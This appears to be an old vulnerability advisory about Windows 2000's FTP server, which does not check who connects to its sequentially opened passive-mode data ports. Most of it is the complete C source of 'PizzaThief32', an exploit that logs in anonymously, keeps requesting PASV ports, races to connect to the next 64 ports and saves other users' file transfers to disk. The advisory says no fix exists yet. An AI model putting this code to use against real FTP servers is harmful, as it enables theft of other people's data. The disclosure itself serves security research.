COMMAND
ftpd
SYSTEMS AFFECTED
Win2000
PROBLEM
Greg Hoglund found following. Many people are aware of an old
vulnerability with FTP servers. The problem is related to not
authenticating the source address of PASV port connections. To
add insult to injury, many FTP servers also open these ports in
sequential order. Now, one would expect that many of the older
installations out on the 'Net would be vulnerable. However, one
would not expect the latest Beta release of Microsoft Windows
2000 server to have this vulnerability. Come on people!
After discovering this problem on my W2k installation, Greg tested
it against ftp.microsoft.com. No surprises.. their public ftp
server is vulnerable also. Now, using FTP w/o SSH in the first
place is a bad idea. After looking around to see if anyone had
written a script for this, he found "pizzathief" for solaris:
http://oliver.efri.hr/~crv/security/bugs/munixes/ftp5.html
He re-wrote the program for NT and added some features. The
source code for "PizzaThief32" follows below:
/*
* PizzaThief32 Exploit written by Greg Hoglund <hoglund@ieway.com>
*
* Special thanks to Jeffrey R. Gerber for thinking of such a cool name
* and to Bret McDanel for writing pizzathief for solaris!
*
* A common problem with FTP servers around the world results from
* "passive mode". A client will issue the PASV command and the
* server will in turn open a local port and wait for the client to
* connect. Once the client connects, the server will transmit the
* file or directory listing or whatever big chunk of data the client
* wanted. The crux of the problem is that many FTP servers do not
* check the source address of the connecting client. Hence, if the
* men in black manage to connect to that port before you do, you lose
* your file to someone else! And if this problem wasn't old as mold
* already, Microsoft's Windows 2000 FTP server (version 5.0 I think)
* has the problem. In fact, so does Microsoft's *public* FTP site!
* And the icing on the cake is many FTP servers open PASV ports in
* sequential order making the guesswork easy.
*
* This 'sploit runs under Windows NT and uses nonblocking i/o to snag
* as much data as possible. The code is cleaned up a bit, and the
* tool will now snag connections in a cycle.
*/
#include <windows.h>
#include <stdio.h>
#include <winsock.h>
#define NUMSOCK 64
#define FLAG_VERBOSE (0x1 << 1)
#define FLAG_STDOUT (0x1 << 2)
int connserver(char *host,int port);
int netgets(char *buff, int len, int sd);
void dumpdata(int theSocket, struct in_addr ip, unsigned short port);
int pizzaman32(struct in_addr ip, unsigned short port);
unsigned long gFlags = 0;
unsigned long gTimeout = 5000;
main(int argc, char **argv)
{
int sd, count;
struct in_addr ip;
char buff[1024],*ptr1;
unsigned short int port;
WSADATA wsaData;
if(0 != WSAStartup(MAKEWORD(2,0), &wsaData))
{
WSACleanup();
fprintf(stderr, "Could not load winsock DLL\n");
exit(0);
}
if(argc < 2)
{
fprintf(stderr, "Pizzathief32 for NT!\nFrom the Law Offices of Hoglund, " \
"McDanel, & Gerber\nUsage: %s [-v -tTimeout -s] " \
"<ftpserver>\n options: -v Verbose\n " \
"-t timeout in ms\n -s dump to stdout\n",argv[0]);
exit(0);
}
count = 0;
while(argv[++count][0] == '-'){
switch(argv[count][1]){
case 'v':
gFlags |= FLAG_VERBOSE;
break;
case 't':
if(isdigit(argv[count][2]))
gTimeout = atoi(&argv[count][2]);
break;
case 's':
gFlags |= FLAG_STDOUT;
break;
default:
break;
}
}
if( (count < argc)
&&
((sd=connserver(argv[count],21)) < 0) )
{
fprintf(stderr, "could not connect to server");
exit(0);
}
while(1)
{
if(netgets(buff,sizeof(buff),sd)==0)
{
fprintf(stderr, "server closed control connection\n");
closesocket(sd);
exit(0);
}
if(!strncmp(buff,"220 ",4))
{
if(FLAG_VERBOSE & gFlags)
fprintf(stdout, "requesting username\n");
sprintf(buff,"user ftp\n");
send(sd,buff,strlen(buff),0);
}
if(!strncmp(buff,"331 ",4))
{
if(FLAG_VERBOSE & gFlags)
fprintf(stdout, "requesting password\n");
sprintf(buff,"pass pizzaman@illuminati.gov\n");
send(sd,buff,strlen(buff),0);
}
if(!strncmp(buff,"230 ",4))
{
if(FLAG_VERBOSE & gFlags)
fprintf(stdout, "we are logged in now\n");
sprintf(buff,"pasv\n");
send(sd,buff,strlen(buff),0);
}
if(!strncmp(buff,"530 ",4))
{
/* invalid password */
sprintf(buff,"quit\n");
send(sd,buff,strlen(buff),0);
closesocket(sd);
fprintf(stderr, "User ftp wasnt allowed\n");
exit(0);
}
if(!strncmp(buff,"227 ",4))
{
char seps[] = "()";
char *token;
/* PASV response */
if(FLAG_VERBOSE & gFlags)
fprintf(stdout, buff);
/* first get the ip/port into the buffer */
token = strtok(buff,seps);
token = strtok((char *)NULL,")");
/* now break off the IP part */
ptr1=(char *)&ip;
ptr1[0]=atoi(strtok(token,","));
ptr1[1]=atoi(strtok((char *)NULL,","));
ptr1[2]=atoi(strtok((char *)NULL,","));
ptr1[3]=atoi(strtok((char *)NULL,","));
/* now get the port number */
ptr1=(char *)&port;
ptr1[0]=atoi(strtok((char *)NULL,","));
ptr1[1]=atoi(strtok((char *)NULL,","));
sprintf(buff,"pasv\n"); // recirculate pasv connection
send(sd,buff,strlen(buff),0);
pizzaman32(ip,port);
}
}
return(0);
}
int connserver(char *host,int port)
{
int sd,addr;
struct hostent *he;
struct sockaddr_in sa;
/* try to resolve the host */
if((addr=inet_addr(host))!= -1)
{
/* dotted decimal */
memcpy(&sa.sin_addr,(char *)&addr,sizeof(addr));
}
else
{
if((he=gethostbyname(host))==NULL)
{
fprintf(stderr, "Unable to resolve %s\n", host);
return(-1);
}
memcpy(&sa.sin_addr,he->h_addr,he->h_length);
}
sa.sin_port=htons(port);
sa.sin_family=AF_INET;
if((sd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
{
perror("socket");
return(-1);
}
if(connect(sd,(struct sockaddr *)&sa,sizeof(sa))<0)
{
perror("connect");
return(-1);
}
return(sd);
}
int netgets(char *buff, int len, int sd)
{
int i;
memset(buff,0,len);
for(i=0;i<len;i++)
{
if(recv(sd,&buff[i],1,0)==0) return(i);
if(buff[i]=='\n') return(i);
}
return(i);
}
int pizzaman32(struct in_addr ip, unsigned short port)
{
struct sockaddr_in sa;
int sdarray[NUMSOCK];
fd_set aConnectSet;
unsigned long aFlag = 1;
FD_ZERO(&aConnectSet);
memcpy(&sa.sin_addr,(char *)&ip,sizeof(ip));
sa.sin_family=AF_INET;
if(FLAG_VERBOSE & gFlags)
fprintf(stdout, "trying ports %d thru %d\n", ntohs(port) + 1,
ntohs(port) + NUMSOCK);
for(int i=0; i<NUMSOCK; i++)
{
int host_port = ntohs(port) + i + 1;
if((sdarray[i] = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)
{
perror("socket");
return(-1);
}
ioctlsocket(sdarray[i], FIONBIO, &aFlag);
sa.sin_port=htons(host_port);
FD_SET(sdarray[i], &aConnectSet);
if(connect(sdarray[i],(struct sockaddr *)&sa,sizeof(sa)) == 0)
{
//immediate connection
dumpdata(sdarray[i], ip, host_port);
}
}
Sleep(gTimeout);
TIMEVAL t = { 0, 0 }; //polling
if(-1 != select( 0, NULL, &aConnectSet, NULL, &t))
{
for(i=0; i<NUMSOCK; i++)
{
int host_port = ntohs(port) + i + 1;
if(FD_ISSET( sdarray[i], &aConnectSet ))
dumpdata(sdarray[i], ip, host_port);
closesocket(sdarray[i]);
}
}
return(0);
}
void dumpdata(int theSocket, struct in_addr ip, unsigned short port)
{
char buff[1024];
int char_recv = 0;
FILE *out_file = NULL;
char aFilename[32];
unsigned long aFlag = 1;
memset(aFilename, NULL, sizeof(aFilename));
_snprintf(aFilename, sizeof(aFilename), "%s.%d.dat",inet_ntoa(ip), port);
// read all data
while( (char_recv = recv(theSocket, buff, sizeof(buff)-1, 0) ) > 0)
{
if(char_recv > 0)
{
if(aFlag)
{
aFlag = 0;
ioctlsocket(theSocket, FIONBIO, &aFlag); //block on this transfer
}
if(FLAG_VERBOSE & gFlags)
fprintf(stdout, "*** Got data for %s\n", aFilename);
if(FLAG_STDOUT & gFlags)
{
buff[char_recv] = NULL;
fprintf(stdout, "%s", buff);
}
else
{
if(NULL == out_file)
{
out_file = fopen(aFilename, "wb");
}
if(out_file)
{
fwrite(buff, char_recv, 1, out_file);
}
}
}
}
if((FLAG_VERBOSE & gFlags) && (0 == char_recv))
fprintf(stdout, "server closed connection\n");
if(out_file)
fclose(out_file);
}
SOLUTION
Nothing yet.